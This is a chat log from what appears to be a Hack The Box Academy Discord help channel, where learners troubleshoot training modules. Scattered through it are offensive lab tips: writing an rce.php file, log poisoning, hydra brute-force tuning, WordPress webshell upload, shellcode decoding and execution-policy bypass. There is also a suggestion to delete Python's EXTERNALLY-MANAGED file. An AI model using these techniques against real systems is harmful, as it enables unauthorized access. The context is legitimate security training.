modules

[fathom pendant]

as in that's how they created/wrote the payload

if you look in the textbox it's showing bash code

[shrewd hazel]

ohhhhhhh

so the code: shell section is the php code above but in bash?

[fathom pendant]

no

i suggest throwing cat << 'EOF' > rce.php into explainshell

because it's using bash redirects

it's showing (a very poor way) to write code to a file

instead of using vim/vi/nano

[shrewd hazel]

ohhh lmao

i legit did vim and then the php command to say to it

[fathom pendant]

cat (when not given a parameter) will read from stdin

the cat << 'EOF' tells cat to read from stdin until you tell it EOF (End Of File)

the actual php code is above the shell section

https://www.gnu.org/software/bash/manual/html_node/Redirections.html

[shrewd hazel]

thank you very much!

i hope HTB gives you kick backs for each help request you solve for their customers lol

[fathom pendant]

nope

[cloud urchin]

i help because i'm selfish, it helps me retain the information by teaching it to others

[verbal coral]

In the CDSA modules, the WINDOWS EVENT LOGS & FINDING EVIL for Windows Event Logs, for the question

Analyze the event with ID 4624, that took place on 8/3/2022 at 10:23:25. Conduct a similar investigation as outlined in this section and provide the name of the executable responsible for the modification of the auditing settings as your answer. Answer format: T_W_____.exe

How does an incident responder/participant know to search for Event ID 4907 after examining the Event ID 4624? I only solved it because the module gave it away. However, I want to know why they searched that event ID in the first place, what lead them to it?

[fathom pendant]

perform a similar investigation

an IR knows what they're doing

so they are teaching you the way an IR would do it

investigate logon events -> investigate events related to LogOnIDs

specifically it was narrowed down that files/data was accessed/changed on that date at that timestamp

i.e. normally it wouldn't be from years ago

rather from like last week. where your EDR system would have alerted you

EDR says "hey uh, this shit is not right" and sends that info to the SOC team

SOC team then does an investigation re: logon events, to dig for info

then further digging into events that could be related

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4907

i believe that section even gives you a decent list of the different (common) Event IDs

[verbal coral]

For example?

So a suspicious logon was alerted by the EDR, so an IR/SOC member investigates the event. They decide to check if any changes were made during the time of the suspicious login, by examining 4907 they can see any SACL changes. They discover the suspicious executable and report it. Is that pretty much a scenario they are preparing us for?

[fathom pendant]

Question asks for auditing settings

[fathom pendant]

pretty much

[verbal coral]

ahhhhh

[fathom pendant]

see what registry and ACL changes were made

"provide the name of the executable responsible for the modification of the auditing settings as your answer"

[heavy marsh]

Is the .* operator a grep operator, or a linux command line operator?

For instance, the command grep | 'abc.*ghi' should output def

But when I look at the grep man page, it shows * as matching anything preceding, and the . is nowhere to be found in their command structure

[fathom pendant]

and if you weren't sure "Event ID for changing auditing settings" and you're bound to either find the MS learn page on it or some blog about it

[fathom pendant]

it's regex

[heavy marsh]

Okay, here's what I actually wrote, the Discord formatted it weird

.*

[fathom pendant]

if you wrap it in backticks it'll show properly

[verbal coral]

Thank you! I wanted to understand the thought process behind the answer. You did an excellent job explaining it to a noobie like myself lol

[heavy marsh]

What is regex?

[fathom pendant]

.*

the . is regex for any character match

and the * tells it to be greedy

[heavy marsh]

So is regex a grep process?

[fathom pendant]

no

[heavy marsh]

Or part of bash?

[fathom pendant]

Regular Expressions are a broad category of things that assist with searching, and allow more precise/nuanced things and allows matching certain things

[heavy marsh]

Okay, I'll have to look that up

Thank you for the clarification

[fathom pendant]

it uses special notations as well

for instance \s matches any spaces

[thin hound]

hello everyone

[heavy marsh]

I'm trying to break down some of these newer commands to understand them without just blindly copy/pasting them

[sharp adder]

Someone else with target issues?

[fathom pendant]

so you can do something like "\sA\s" and it will only match the letter A with no characters next to it

[fathom pendant]

a lot of times the default grep is actually aliased to egrep

which is regex default

[thin hound]

i am doing starting point and cannot find pwnbox?

[fathom pendant]

usually -E is for extended RegEx stuff

[sharp adder]

I can´t connect it and my internet is ok. Reset the target doesnt work.

[fathom pendant]

wrong channel; read and follow #welcome to access #starting-point

[fathom pendant]

message support

[sharp adder]

already do it but take a while xd

[thin hound]

i have tried am trying, and really want to do HTB , but getting to help discussions has led me to a 2 hour dead en

[sharp adder]

anyway, gonna wait. thanks

[fathom pendant]

again this channel isn't for starting-point

[fathom pendant]

well it's friday and they don't have enough staff to work support chat 24/7 so it's limited availability

[sharp adder]

i know, im gonna take a chill. Thanks again for the response.

check always if the vpn it´s connected xd

"issue" resolved 🤡

[fathom pendant]

I've been seeing a fair bit recently that some people are having their vpn "randomly" disconnect. How much of it is them not being connected in the first place - who knows.

[heavy marsh]

I've done the cat command for the flag on the File Inclusion skills assessment over 10 times and still no flag!

Anyone have issues with it showing up?

I checked my command against the walkthrough and it's fine.

I can quite literally see at least 10 GET requests in there but no flag!

It just says

HTTP/1.1" 200 3253 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"

After the request

That is not the flag

I'm assuming that 200 means the request was good?

I even cURLed for it and it's the same thing

Just a wall of GET requests

[fathom pendant]

200 just means "OK" in status code language

[fathom pendant]

This looks like the user agent header or something

[fringe urchin]

i found out that running EU academy -1 is borderline impossible for me, even on ssh i have an inpute delay of up to 4s, switched to EU2 and barely any lag

[heavy marsh]

Yeah, was just not giving me the flag, I already poisoned the header in the previous step. This one's annoying, it ended up being a random string of text randomly buried in the log. It wasn't even near the command I used.

[fathom pendant]

Yeah that happens

[heavy marsh]

Good thing there's a walkthrough otherwise I would not have known I was just supposed to try random stuff from the output as a flag, lol

I think that's the best thing HTB Academy has done lately, even though the walkthroughs are sparse I at least know I'm not going crazy if stuff isn't working.

Is there something I'm missing in terms of where the flag should have been?

I used cURL with the same result

I had the flag, just didn't know that it was the flag until I actually checked the walkthrough.

It wasn't in the HTB{} format

[fathom pendant]

Likely reading the question will help you derive the answer

Sometimes answers aren't flags like the answers related to SID and such in AD modules

[heavy marsh]

The question asked for a root flag in / and I found the file, performed the inclusion, but it just didn't appear with the 10+ times I did the command, only showed up once buried further back in the log file

Also not sure why it only showed up once when I did the command many times in order to see the pattern I was missing in the log

I'm wondering if this is intended functionality or a bug on the log output?

[cloud urchin]

i was able to use ls to list all the directory contents and saw it in there the very first time. you're saying you saw the directory contents but the flag wasn't there, and then it appeared there after you trying 10+ times?

[thorn ingot]

is this normal?

[languid fjord]

Try a dif region

No, not normal though

[dull thunder]

can someone help me remember the name of that reporting tool that HTB reconmends?

[cloud urchin]

sysreptor?

[cloud urchin]

https://www.hackthebox.com/blog/certification-templates

[dull thunder]

thanks. thats the one.

i couldnt for the life of me remember what it was called

[novel thistle]

i have a question from the DNS segment in the footprinting module. reguarding the FQDN's i feel like i have the anwser and maybe im just submitting the anwsers incorrectly is there someone to ask and get a second look?

[cloud urchin]

sure

[novel thistle]

i cant post the screen shots in here may i dm you?

[cloud urchin]

yeah

[fathom pendant]

Don't include the trailing .

[novel thistle]

Yeah in the dms with supernuts i found that wasmy issue the extra .

[fathom pendant]

Yeah it's like "wait... I didn't try that?"

[frail ice]

anyone have trouble starting an instance?

the pwnbox says starting but nothing

[fathom pendant]

It's been doing that a bit lately for me

Refreshing the page then waiting a minute or two works for me

[frail ice]

mmm

[sterile hinge]

In "Attacking Common Services - Medium", are the FTP services supposed to be barely functional?

dir
500 DIR not understood
ls
500 LS not understood
help
214-The following commands are recognized (* =>'s unimplemented):
 CWD     XCWD    CDUP    XCUP    SMNT*   QUIT    PORT    PASV    
 EPRT    EPSV    ALLO*   RNFR    RNTO    DELE    MDTM    RMD     
 XRMD    MKD     XMKD    PWD     XPWD    SIZE    SYST    HELP    
 NOOP    FEAT    OPTS    HOST    CLNT    AUTH*   CCC*    CONF*   
 ENC*    MIC*    PBSZ*   PROT*   TYPE    STRU    MODE    RETR    
 STOR    STOU    APPE    REST    ABOR    USER    PASS    ACCT*   
 REIN*   LIST    NLST    STAT    SITE    MLSD    MLST    

[old oasis]

Yeah I can't get one to work. Just using my VM instead via VPN

[frail ice]

i see, okay.

[fathom pendant]

they worked fine for me

are you connected via telnet?

if so: don't

there's literally the command : ftp to connect

ftp <server> <port>{21 implied if port is not specified}

if ftp isn't installed; sudo apt install ftp

[sterile hinge]

No.. i was using ftp

checks oops yeah i was using telnet

:/

now that i've reset the target a few times, the extra services aren't comping up

[sterile hinge]

Yep that was it, thanks @fathom pendant.

[fathom pendant]

this skill assessment is notorious for those services not showing up properly

[sterile hinge]

i can't believe i was using telnet 🫢

[fathom pendant]

telnet is fine for grabbing banners

but tools like ftp have built in wrapper commands

i believe the similar command would have been LIST but i'm not sure

[indigo locust]

Getting same error for past half hour

[fathom pendant]

change pwnbox regions

[thorn ingot]

Didn’t work
It’s been like this for the past 4 hours

[fathom pendant]

well support is gonna be the way to get help

[quasi wave]

I can vouch for this

[umbral pulsar]

Can I ask would anyone recommend a raspberry pi to practice pen testing or learning basic/intermediate python coding?

[fathom pendant]

A raspi would not be good for pentesting

for coding stuff; sure

but a LOT of pentesting tools and such require a lot more processing overhead that a raspi just can't do

[umbral pulsar]

Oh my

What about just for simple like absolute pen test tools or like

[fathom pendant]

no

[umbral pulsar]

Opposite, defensive

[fathom pendant]

not sure

also this channel really isn't for discussion on that topic

read and follow #welcome and you can access more of the server

[umbral pulsar]

Oh, Im sorry

[fathom pendant]

you'll need an account at https://app.hackthebox.com to do the verification

[umbral pulsar]

I thought I clicked off topic general

[fathom pendant]

you can't access it since your account isn't linked

or at the very least you can read, but not type there

[bronze haven]

Hi

[tender raptor]

Hi

[granite oasis]

I need help for the linux fundementals

the question is " What is the path to the htb-student's mail? " and I found the path but the answer is still wrong ?

not sure how I can upload photos on here as well. I'm quite new so I don't know how to navigate this discord.

[uneven oracle]

Me too… I don’t see how they expect us to figure this stuff out with the given material.

[granite oasis]

the path is "/var/spool/mail/htb-student" but it says it's incorrect ?

im so confused

[uneven oracle]

How the heck am I supposed to figure this out?
I couldn’t even find an answer on google.

[granite oasis]

so there is no spool in the answer apparently

how do you upload pics ? I can't upload any O.o

[uneven oracle]

You have to register your HTB account on discord… I forgot how.

[uneven oracle]

What section is that?

[granite oasis]

intro to linux

[uneven oracle]

Which subsection?

[granite oasis]

System info 3rd question

[uneven oracle]

/var/mail/htb-student

I don’t know how I feel about HTB Academy… 🫤

[granite oasis]

I was on Try Hack Me and it was more simple. HTB is more tough

[uneven oracle]

It doesn’t seem like the material is enough to figure out the answers.
I have to google almost every answer, and sometimes still can’t find it.

[granite oasis]

had to look up a command and as you can see there is /var/SPOOL/mail/htb-student

yet the answer was wrong and you don't include spool in the answer apparently

[uneven oracle]

I didn’t use that command. I forgot how I figured that one out.

[granite oasis]

had to look it up for me. Since there was no mention on how to look it up @_@

[uneven oracle]

They show you in the material but it was still not quite right…

I had to change it a little bit.

[granite oasis]

Which shell is specified for the htb-student user?

the next question and I have no clue where to look besides google the answer T_T

[uneven oracle]

I think I had to google that.

Pretty easy to find tho.

[fathom pendant]

echo $SHELL iirc should get you the answer

it should also be in env

environment variables tend to be in all caps

so you can usually get away with env | grep SHELL

[granite oasis]

I read the whole linux pages so far and it never showed any of those commands T_T

I had to look up how to and answers unfortunately

I'll push through with learning from HTB for now and see how it goes

[fathom pendant]

it's in like one of the first interactive sections they give you a whole list of commands

env (when run without args) just prints the list of environment variables

[earnest mulch]

password attacks is by far the worst modules I have ever done

[tranquil axle]

I think that’s a fair assessment

[granite oasis]

I see, google will guide me I guess. Woudn't even have know what that fully means

[earnest mulch]

having to wait HOURS before getting your passwords is driving me insane

[uneven oracle]

Im having a similar issue.
When I connect through openvpn, it seems very buggy.
It actually freezes with certain commands and actions.

[fathom pendant]

sounds like someone didn't adjust their threads

also don't attack ssh ¯_(ツ)_/¯

like the 2 main rules of that module: ssh is a last resort
-t 48 is king

the longest i've had to wait has been ~30 minutes

[earnest mulch]

ftp is better

[fathom pendant]

but not hours

[earnest mulch]

I would rather do mist all over again than doing password attacks

[fathom pendant]

¯_(ツ)_/¯

i'm just providing general advice

with hydra adding -t 48 will significantly speed up the process

what is your command?

[uneven oracle]

Any clues on how to filter unique paths?

[earnest mulch]

ftp or smb for the linux box

[pale moth]

Anyone has issue running the validation logic disparity docker locally on your own computer? I could not seem to see any unavailableSlots ....

[acoustic owl]

Take another look at the possibilities of grep, cut, tr and sort

[uneven oracle]

Well, I googled it (like most questions) and I found the answer.
But at this point I would not have the know how or intuition to have figured that out.
I’m not feeling too confident…
I can only imagine how the certification test are.

[acoustic owl]

The module explains each of these tools. Play around with them and use them in all kinds of situations.

[uneven oracle]

I feel you’d pretty much have to have mastered grep, cut, tr and sort already.

[uneven oracle]

The module does explain, true.
But these quiz questions require practical mastery.

[acoustic owl]

I always have to look up how this or that works.
But the more you play around with it, the better you get at using these tools

You won't learn a single tool by reading about it in a module.
Use these tools. Play with them. Try to find ways. And then, when you know things a little, try to solve the tasks.
Go step by step.
First of all, you need the complete HTML code.
Then filter more and more until you get to the result

[uneven oracle]

Technically, the command I used with just grep, cut, tr and sort gives the wrong answer.
It gives 33

The longer list of commands I found that give the correct answer used a tool that was not covered. The “uniq” tool. Which gave 34

[glass quail]

Is there a module that teaches you how identify websites with malicious intent?

[acoustic owl]

I don't know what you ran, but with sort -u you can do exactly that

[haughty tree]

Hey, I'm a bit confused as to what they want here as there was no mention of the word "index" through the module at all and when I did the command ls -la | grep -n sudoers to get the line number of sudoers that still did not work
I feel like I'm gonna feel dumb when I find the solution but Idk what do they mean by "index"

[uneven oracle]

But that gives 33

[haughty tree]

Ok, I should not be quick to send here questions cause every time I ask here I end up solving it myself like 1 minute later lol but tbf the section did not cover anything about the "index numbers"

[acoustic owl]

You're not really filtering here.
You're just looking for a URL pattern. But the pattern can be different 😉
Have a look at your list.

So as not to spoil anything, I've deleted your post

[uneven oracle]

The only other method I found used the “uniq” tool, and multiple iterations of sort and cut of the stdout file created from the source code.

And also a “—insecure” tool, which of course I also hadn’t heard of.

[acoustic owl]

Exactly, you were just looking for a command, but you didn't work it out yourself. Honestly, you'll never learn these tools properly that way

[fathom pendant]

ftp usually works

[acoustic owl]

-insecure looks like an argument and not a tool

[uneven oracle]

I know.
That’s what I’m saying.
I don’t feel these modules really teach you to learn the tools fully.
I’ll likely take a complete Linux administration course.

I wouldn’t know where to start with most of these questions

[fathom pendant]

because that's not how you get the index number

[uneven oracle]

Right, which I wouldn’t know.

[fathom pendant]

take a look at ls --help or man ls to see what option can be used with ls to perhaps give index info

[acoustic owl]

You can only learn such tools with a little explanation (which takes place in the module) and then an environment in which you can use these tools in practice. Both are included in the module.
But you have to use it yourself

[acoustic owl]

Have a look at the help pages of the tool. This was also explained in the module

[uneven oracle]

Hm… I feel maybe there should be more exercises that slowly build you up. Idk.
I feel like these quizzes just toss you in the deep end.

[uneven oracle]

I’ll try to read the help pages more,

[haughty tree]

Yeah I eventually found it, but the odd this was that this question was not in the section of the ls it was in the section of "creating files and directories" so it was not immediatly obvious that I was supposed to find some arguments in ls but yeah

[acoustic owl]

As I've said before, you only learn if you use the tools, play around with them, try things out.

[fathom pendant]

creating or managing?

also fwiw knowing a file's index number doesn't generally help much

[haughty tree]

Creating

all that was discussed in the section was like touch and mkdir

[fathom pendant]

¯_(ツ)_/¯

ohhh

yeah there's a whole list of commands in one of the sections

that's just to tell you that most if not all of the commands listed are used in some capacity throughout the module

not that that list is exclusive to that section

[astral beacon]

Where can ask about this

I'm still studying in a university

But I'm sure that it not in the list of in university of HTB,I had university email too

[fathom pendant]

you can try changing your email in settings to your university email

if your uni is in their list, then you get access to the sub: otherwise you gotta message support

if you hover over the text for it it tells you to do so :)

[astral beacon]

I already read the hover

That why I'm here again

[fathom pendant]

https://academy.hackthebox.com/settings -> email section: input your student email then retype email in the confirm section

[astral beacon]

There something I afraid too

Because of my country,I afraid that I may get blocked with some kind of centent

[astral beacon]

I did it

It in the list

[fathom pendant]

some other brave soul suffered through the waitlist for you (if it wasn't already there)

[astral beacon]

For some reason

I felt like the fact that it in the list is a bad things too,just my feeling

[fathom pendant]

?

[acoustic owl]

It's not always a bad thing to be on a list

[fathom pendant]

it just means someone that went to your same school either had to put in the request for the uni to be added or it was already there

i'd prefer my uni to be on HTB's List

it's a very nice list; it helps save money

[astral beacon]

Maybe I just felt bad because Ik I'm not the first

Btw about billing,it accept anything?

[acoustic owl]

Well, the Academy has been around for a few years now. The chances of being the first here are pretty slim 😉

[astral beacon]

Yeah,it very supportive for students

[astral beacon]

Yeah,I already know this like 4-5 years ago
So I created an account and joined this server at a time

I just consent enough to do this now

So basically my old self is time capsule this for me

[candid lily]

petition to turn on ssh on windows machines, im sick of this rdp lag

i just avoid modules just for this rdp nonsense

[fathom pendant]

i've generally had little issues, and when i did have issues - it was due to my vpn server being dumb

suggestion: use the tcp download; switch vpn regions

[candid lily]

no the fps lag is like if i do some change it reflects after 10 seconds

[fathom pendant]

again; sounds like a connection thing -- which is usually resolved by doing what i suggested

[candid lily]

but ssh is fine though

[fathom pendant]

because ssh isn't as resource intensive, relatively speaking, than rdp

it's not having to send over packets relating to X11 (visual)data

it's just terminal output being sent back

[candid lily]

yea why cant they just turn on ssh on windows machines then

[fathom pendant]

because often you need to interact with visual elements of windows

[candid lily]

not in most cases

even if i get rdp i just use powershell

[fathom pendant]

¯_(ツ)_/¯

[astral beacon]

[fathom pendant]

submit it to /feedback since you're so up in a knot about it

windows targets i've RDPd into recently have all been behaving just fine

[candid lily]

tcp vpn be like:

[rustic sage]

can anyone help me with the skill assessment section of intro to assembly language module

[fathom pendant]

¯_(ツ)_/¯

[rustic sage]

im stuck at this question

Disassemble 'loaded_shellcode' and modify its assembly code to decode the shellcode, by adding a loop to 'xor' each 8-bytes on the stack with the key in 'rbx'.

[candid lily]

ok what is the problem you facing

[surreal lichen]

Anyone got updates on the pwnboxes not spawning?

[candid lily]

uhh i got a invisible ping

wtf stop it

[rustic sage]

did you get the assembly code

[candid lily]

yea i have it

[rustic sage]

how can i get the decoded shellcode

[candid lily]

xor it in a loop

[fathom pendant]

yeah the question kinda tells you what to do to decode it

[rustic sage]

done that

[candid lily]

print the value

after decoding

[rustic sage]

which register, may i ask

[candid lily]

after xoring print it

do you want to assembly code?

[rustic sage]

yep

[candid lily]

dm

[raw field]

curl -X POST -d '{"search":"flag"}' -b "PHPSESSID=h2u7hte22t03983b7p4o5dqh16" -H "Content-Type: application/json" "http://94.237.49.166:31021/search.php"                                         Received content contained invalid JSON!     

pls help using cmd, windows

[acoustic owl]

Which module and section is this?

[raw field]

https://academy.hackthebox.com/module/35/section/224

[candid lily]

try with burpsuite maybe, terminal is hard to handle with json

[raw field]

I'll like a solution and reason why this isnt working btw... Yeah CMD is tough to handle especially with quotes and all

[fathom pendant]

i mean you can try escaping the quotes with \

so
{\"key\":\"value\"}

or if you analyze the source is it {"key":value}

without quotes

[fathom pendant]

also i just ran this, and it worked fine on my end from a linux terminal at least

try putting the data in doublequotes instead as well with the escaping

so "{\"key\":\"value\"}"

https://stackoverflow.com/a/12498151

[candid lily]

finally

[raw field]

It worked, thanks so much

[fathom pendant]

don't thank me thank user1683523 on stack overflow

ofc the other alternative would be putting the json data into a file and calling it with @ @json.file

[candid lily]

xD

[acoustic owl]

that's a great module

[north bramble]

Hello, I have issues installing Crackmapexec on my local pwnbox vm

[fathom pendant]

use netexec

[north bramble]

sudo apt install crackmapexec
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
crackmapexec : Depends: python3-neo4j but it is not installable
E: Unable to correct problems, you have held broken packages.

[fathom pendant]

sudo pip3 install pipx

pipx ensurepath

[north bramble]

oh ok

lemme try

[fathom pendant]

pipx install netexec

crackmapexec is no longer being maintained, the devs have forked off to netexec

[north bramble]

very stupid issue but

sudo pip3 install pipx
error: externally-managed-environment

× This environment is externally managed
╰─> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.

If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.

If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.

See /usr/share/doc/python3.11/README.venv for more information.

note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.

[fathom pendant]

no such thing as local pwnbox btw, it's just parrotOS

https://stackoverflow.com/questions/75608323/how-do-i-solve-error-externally-managed-environment-every-time-i-use-pip-3

you can either pass the --break-system-packages flag to the pip command

[north bramble]

I meant I installed the HTB edition of the distro

[fathom pendant]

yeah, still not pwnbox

sudo rm /usr/lib/python3.11/EXTERNALLY-MANAGED this also works

[north bramble]

okay I will try user break system packages

[fathom pendant]

also netexec works the same as crackmapexec

[fringe urchin]

Just install nxc. Same as cme lemme link it

[fathom pendant]

same syntax just with nxc/netexec instead of cme/crackmapexec

[fathom pendant]

Literally what i just told them

and nxc docs say to install with pipx

[fringe urchin]

great minds think alike

[north bramble]

yeah @fathom pendant recommended it

[fringe urchin]

Yea i just saw you having the issue and before scrolling fully down, i replied

[north bramble]

okay got pipx

[worthy inlet]

I am connected to VPN to solve vulnerability assessment nessus lab but I cannot open host should solve it by the way am connected VPN

There is an issue global?

[north bramble]

awesome ensurepath works

[fathom pendant]

? wdym open host

[fathom pendant]

https://ip:nessusportis how you connect to the running nessus service

[north bramble]

sudo pipx install netexec
Fatal error from pip prevented installation. Full pip output in file:
/root/.local/state/pipx/log/cmd_2024-05-04_19.17.20_pip_errors.log

Some possibly relevant errors from pip install:
ERROR: Could not find a version that satisfies the requirement netexec (from versions: none)
ERROR: No matching distribution found for netexec

Error installing netexec.

[fathom pendant]

nessus uses SSL

[fathom pendant]

you don't need to run pipx with sudo

[north bramble]

ima cat this out, the error log

[north bramble]

it gave the same error without sudo

[north bramble]

pipx install netexec
Fatal error from pip prevented installation. Full pip output in file:
/home/apu/.local/state/pipx/log/cmd_2024-05-04_19.16.59_pip_errors.log

Some possibly relevant errors from pip install:
ERROR: Could not find a version that satisfies the requirement netexec (from versions: none)
ERROR: No matching distribution found for netexec

Error installing netexec.

[gray merlin]

Include the error log output

[fathom pendant]

https://www.netexec.wiki/getting-started/installation/installation-on-unix follow these instructions

sorry i forgot they do it slightly differently

[north bramble]

yeah just a sec
@fathom pendant Ill follow the instructions and try again

[fathom pendant]

it's pipx install git+https://github.com/Pennyw0rth/NetExec

[north bramble]

oh okay running this

[frigid summit]

frenly_fyog has been warned

Reason: Mass mention

[fringe urchin]

[fathom pendant]

get timed out nerd

[fringe urchin]

But yea nxc is same cme, same syntax etx

[fathom pendant]

but yeah be careful with @ too many people

it's the cooler cme

[fringe urchin]

How long is the timeout?

[fathom pendant]

@solid python can we save @north bramble from his honest mistake?

[fringe urchin]

[fathom pendant]

probably like a minute or 10

idk not my bot not my circus ¯_(ツ)_/¯

[fringe urchin]

[shut quest]

buahahaha

[gray merlin]

Still a month away from having the time to take the test...

[shut quest]

I think C1oud took off for the moment

[solid python]

Sorry what am I doing

I made breakfast

Ohh he timed himself out

[gray merlin]

Unblock @yash - we were helping him and he put too many @s

[north bramble]

thanks @solid python

[solid python]

Consider him rescued

[north bramble]

I was thanking you all for helping me kek

[solid python]

Lol

Be sure to be thankful for only a few people at a time

[meager wren]

Hey can anybody help me with the AD enumeration and attack module

With the password policy chapter's lab

I tried all the tools and commands and still could not get any result

[shut quest]

What question and what have you tried?

[celest scaffold]

[meager wren]

The question was to find the password policy

but using the ip of ens22 with the command provided for linux without credentials

i couldn't get any output

also on scanning the network of ens22 i found ssh and rdp running, nothing more than these

[tough tundra]

Am I good to ask about a beginner problem here that isn't necessarily module related? I guess I could say it's a linux fundamentals filtering thing is as close as it gets.

[fleet tinsel]

Hi, I have a question about Pass The Ticket on Windows (Password Attacks) ; I completed the module but I have a question about the share access using ptt. Can I DM someone ? (or here but it will spoil)

[thorn basin]

i did it yesterday

you can DM me

Anyone here solved Protected Archives? I'm getting crazy, when i try to open the Notes.zip it says "Is not archive"

i downloaded it using nc and also python http.server

[shut quest]

Not sure what you tried, you;ll need to provide more detail.

[shut quest]

If it's a simple question it wouldn't hurt to just ask

[shut quest]

You can try SCP if you feel it was a failed transfer. On your box just use SSH creds:
scp username@remote:/file/to/send /where/to/put

What are you doing that it says not archive?

[tough tundra]

Ah, sorry I have solved that problem in particular but I figured it'd be worth knowing if I can ask in future anyways. I was trying to grep through permission denieds in some find results, got fixated on why grep doesn't work but I could just 2>/dev/null. 🙃

[verbal dagger]

hey, sorry, i know this is old. i got the answer but i kinda cheated because it didn't add up. i added the 19 that i found in the first zone, but the next one had 5 records (same subdomain as the txt question). it was wrong, i got frustrated and impatient so i just incremented by 1 and hit submit till i got it. i felt bad after a bit and really would like to understand why the answer was what it was when 5+19!=[answer].

[hasty grail]

Does anyone know or have a walkthrough for this https://academy.hackthebox.com/module/17/section/60? The question is:

Use the credentials for the admin user [admin:sunshine1] and upload a webshell to your target. Once you have access to the target, obtain the contents of the 'flag.txt' file in the home directory for the 'wp-user' directory.

I've already successfully modified the 404.php file (In the Twenty Seventeen theme, but my problem is that I don't know how to upload a webshell in WordPress. I tried adding new plugins in a compressed file or adding new media with the same format (.zip, .txt, .php), but I received the same error due to security measures.

[autumn pilot]

If you upgrade to an annual subscription you will get guided learning

also, don't try getting a reverse shell, but instead get code execution allowing you to read contents on the target

[hasty grail]

that's too expensive for me. Only a student here... 😦

[tender jolt]

All my Pwnbox sessions are over 100,000ms. Is this a general issue or only on my side?

[stuck pier]

Pls guys I’m stuck on unconditional branching task of intro to assembly language, here it’s the link to the question pls need help https://www.reddit.com/r/hackthebox/s/tRNbNjm24A

[quasi wave]

hi the servers are all filled and latency is at an all-time high I think

when will HTB Academy servers be available again?

I'm waiting to finish the last section of information gathering module

[glass quail]

hey I am using web attacks and im trying to run this command but it says that port 80 is already in use what can I do here

[cloud urchin]

use another port

or kill the service already using port 80

[glass quail]

can I use the default port and it will still work

its 8000

[cloud urchin]

you can start the webserver on any port you want

just make sure when you download it you include the port

[glass quail]

I mean Im using it for a website in the module web attack section local file disclosure

[cloud urchin]

it does not matter what port you run the server on, just make sure when calling to the url to include the correct port instead of the default port (80)

[glass quail]

oh thanks

[golden axle]

Hey please need help
If i buy gold or premium monthly subscription does include tier 3 and 4?

[glass quail]

I got it now

thats cool

[tidal star]

Where are prolabs-offshore channel

[late sinew]

Just finished Password Attacks Module, it was brutal but super fun

Learnt alot

[fringe urchin]

Read and follow #welcome and then you can access prolabs like #prolabs-dante etc

[fathom pendant]

Because the second one has > 5

[stuck pier]

No one it’s helping me on this intro to assembly language module, pls I’m stuck at unconditional branching task

[marsh echo]

hello someone can explain this error pls for challenge https://academy.hackthebox.com/module/158/section/1436

[fathom pendant]

Execution policies are prevented it from running

As it literally states in the red text

[stuck pier]

Hi i need help assembly language working on the unconditional module using jmp (unconditionals). I literally place the jmp between every line and its either exiting normally or its giving me the hex rbx value of 0x1000000 which is not correct.

[marsh echo]

ok i read it but why i've got this while as I try to reproduce what the course asks of me

[fathom pendant]

Maybe running powershell as admin will make it work

[cloud urchin]

You need to bypass execution policy

[fathom pendant]

That too

[cloud urchin]

powershell stops scripts from running unless they are digitally signed. the script you're trying to run isn't signed, so you need to bypass the execution policy to allow it to run.

[marsh echo]

mhmm okok but they don't tell you how to get around this kind of problem.

[fathom pendant]

Google can

[stuck pier]

Here it’s the link to the question #1236401511953727529 message

[thorn basin]

Anyone here already finished Password attacks PtT Linux?

[fathom pendant]

I mean the people that have the fancy swords next to their name definitely have

[gray merlin]

https://dontasktoask.com

[wet coyote]

i need help with Login Brute Forcing : Skills Assessment/
Once you access the login page, you are tasked to brute force your way into this page as well. What is the flag hidden inside?

i did everything i swear i did it with burp / curl / hydra nothing working ones i login it refresh the page and doesn't login

[cloud urchin]

Did you bruteforce the user/password?

[wet coyote]

yes

[wet coyote]

i did everything

[cloud urchin]

if you have the username and password, you can simply log in. you can DM me what you have, my guess is you don't have the correct credentials.

[clever cargo]

can someone help with the SECURITY MONITORING & SIEM FUNDAMENTALS htb

im confused on how im supposed to do it

where am i supposed to Navigate to http://[Target IP]:5601, click on the side navigation toggle, and click on "Discover".

ion see it i looked the http and nothng showed up i get a error

[ocean night]

Did you spawn the container? It should provide you an IP to use

[clever cargo]

yes

i used it and on the fire fox it shows error

[ocean night]

Okiedokie, let's see

[clever cargo]

http//:[10.129.250.110]:5601

is that how im post to put it

[cloud urchin]

remove the brackets

[clever cargo]

i did that too

[ocean night]

http://10.129.250.110:5601

[clever cargo]

am i not post to put it on fire fox?

[cloud urchin]

you should show the error like g0blin said then, also are you on the vpn?

[clever cargo]

no

[cloud urchin]

that's your problem, you need to be on the vpn

[ocean night]

Oh yeah.. you need to either be connected to the lab via the VPN or be working via the Pwnbox

[clever cargo]

im on the pwn boc

it worked

[ocean night]

https://tenor.com/view/muppet-family-christmas-muppets-sesame-street-fozzie-fozzie-bear-gif-15746557

Cool 🙂

[clever cargo]

can i run that site ony my kali mahine and it would work ?

aslong as i have the vpn

[ocean night]

If you switch to the OVPN connection you can work on your kali machine

https://academy.hackthebox.com/vpn

That'll provide you with an OVPN config file to use

[clever cargo]

ahh okay thank you so much

I been stuck on that for the longest and i feel slow

[ocean night]

All good 🙂

[quiet tendon]

is it the correct place for me to ask question about a cpts path module?

[acoustic owl]

Yes

[acoustic owl]

This lesson is about understanding how DNS works.
Take a closer look at this link.
https://www.cloudflare.com/learning/dns/glossary/dns-zone/
It's about finding all zones and understanding how to configure zones.

I have deleted your post so as not to spoil anything.

[quiet tendon]

That link is very helpful, thanks

[uneven oracle]

I tried usermod —lock , and usermod -L
I don’t know what you want from me HTB. 😪

[acoustic owl]

Make sure that you do not have any spaces at the beginning or end of the string
Reload the page in the browser

[uneven oracle]

It’s not working…
Though it seems to be turning my double dash into a long dash. Could this be an issue?

